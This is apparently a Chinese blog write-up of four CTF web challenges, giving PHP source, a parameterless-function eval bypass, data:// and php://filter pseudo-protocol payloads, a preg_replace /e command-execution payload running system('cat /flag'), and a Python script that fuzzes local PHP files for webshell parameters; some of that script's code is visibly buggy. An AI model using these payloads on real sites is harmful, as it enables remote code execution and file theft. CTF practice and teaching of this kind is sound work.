[GXYCTF2019]禁止套娃;[GWCTF 2019]我有一个数据库;[BJDCTF2020]ZJCTF,不过如此;[强网杯 2019]高明的黑客
[GXYCTF2019]禁止套娃
只有一句话,看源码也没有其他的,抓包从放,也没有其他的信息
然后只有扫目录了
然后这就尴尬了,访问不了(禁止访问),我也没有其他办法了,只能看看wp了,结果是他们访问后得到源码,这里因为我访问不了,就直接拿wp的源码来做题了
本以为得到源码的我就可以写出来了,但是想法还是太简单了
<?php
include "flag.php";
echo "flag在哪里呢?<br>";
if(isset($_GET['exp'])){
if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
// echo $_GET['exp'];
@eval($_GET['exp']);
}
else{
die("还差一点哦!");
}
}
else{
die("再好好想想!");
}
}
else{
die("还想读flag,臭弟弟!");
}
}
// highlight_file(__FILE__);
?>
这里推荐一下https://zhuanlan.zhihu.com/p/347849603
,
他把无参数的正则匹配讲得很清楚
'/[a-z,_]+\((?R)?\)/'
中的(?R)
表示匹配当前的正则表达式,
当前的正则为/[a-z,_]+\(\)/
,
因为(?R)
在括号里,
故匹配类似于a(b(c()))
这类,
后面的?
则是非贪婪模式,只匹配一次,
看懂源码了,但又不知道怎么绕过,又得看wp了
这里推荐一下https://www.gem-love.com/ctf/530.html?replytocom=5
方法一:
现在理解一些要用到的函数,举个列子
之后就可以读取文件了,
读取的函数可用file_get_ contents
,readfile
,highlight_file
,show_source
等,因为有正则的过滤,这里只能用后两个
得到flag(这里要注意if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp']))
将匹配到的数据换为空,使剩下的等于;
,故payload要加上;
)
方法二:
使用随机函数得到flag.php
之后访问文件(多点几次就出来了)
方法三:
利用session_id
得到flag.php
session_start()
开启一个会话,
session_id()
会在cookie里面取出PHPSESSID
的值,故更改PHPSESSID
为flag.php
得到flag
[GWCTF 2019]我有一个数据库
啥也没有,那就开始扫目录,扫到了phpmyadmin
登录后看能不能利用日志写文件,发现权限不足
之后再尝试寻找相关版本已知的漏洞
写入php探针,再利用文件包含,但是报错,更改目录并尝试了许多次,也不行
最后查了wp,直接用flag,但是都没解释flag是怎么来的
[BJDCTF2020]ZJCTF,不过如此
遇到file_get_contents
,就要想到可以利用伪协议进行读写,
这里要获得$text
文件的内容并且要等于I have a dream
,
故可以利用data://text/plain,I have a dream
写入内容,
通过file_get_contents
获得的内容就与条件相同了
接下来就可以包含文件了,但是直接读取也读取不出来,也可以利用伪协议读取源码,
利用php://filter/read=convert.base64-encode/resource=next.php
解码得到next.php的源码
看源码,先经过foreach
遍历后,将参数传给complex
匹配
这里的正则匹配使用了/e
,就会产生命令执行漏洞,
这里推荐一下关于此漏洞的讲解https://blog.csdn.net/senlin1202/article/details/50800009
因为此漏洞会导致命令执行,
但是replacement
参数不能改变,
故可以利用正则匹配执行getFlag
函数,再进行命令执行
payload:?\S*=${getFlag()}&cmd=system('cat /flag');
,
\S*
匹配所有的非空白符,此值会传给$re,
${getFlag()}
,会传给$str
因为"//1"
表示第一个子匹配项,匹配的正是getFlag
函数,在php中,被双引号包裹的变量会执行,如
故getFlag()
函数需加上${}
,才能被带入执行getFlag
函数
查看目录并得到flag
[强网杯 2019]高明的黑客
import os
import requests
import re
import datetime
import threading
files = os.listdir('E:\phpstudy2021\phpstudy_pro\WWW\src') # 获取路径
thread_ = threading.Semaphore(100)
requests.adapters.DEFAULT_RETRIES = 5
def main(file,file_rout):
thread_.acquire()
with open(file_rout, encoding='utf-8') as f:
file_get = re.findall('\$_GET\[\'(.*?)\'\]', f.read())
file_post = re.findall('\$_POST\[\'(.*?)\'\]', f.read())
get_data = {}
post_data = {}
for i in file_get:
get_data[i] = "echo '520520'";
for j in file_post:
post_data[j] = "echo '520520'";
url='http://127.0.0.1/src/'+file
get_content = requests.get(url, params=get_data,data=get_data).content.decode('utf-8')
filename = ''
keys = ''
if '520520' in get_content:
for i in get_data:
url_get='http://127.0.0.1/src/'+file+'/'+'?'+str(i)+'=echo \'520520\''
url_get_content=requests.get(url_get).content.decode('utf-8')
if '520520' in url_get_content:
filename = file
keys = i
print(filename+'--------------'+keys)
break
if keys == '':
for j in post_data:
url_post = 'http://127.0.0.1/src/' + file
url_post_content = requests.get(url_get,data={j:'echo \'520520\''}).content.decode('utf-8')
if '520520' in url_post_content:
filenmae = file
keys = j
print(filename + '--------------' + keys)
break
thread_.release()
if __name__ == '__main__':
time_start = datetime.datetime.now()
for file in files:
file_rout = 'E:/phpstudy2021/phpstudy_pro/WWW/src/' + file
t = threading.Thread(target=main, args=(file,file_rout,))
t.start()
time_end = datetime.datetime.now()
print(time_end - time_start)
得到
xk0SzyKwfzw.php--------------Efa5BVG
可以执行命令
但是在windows和kali上都没发现flag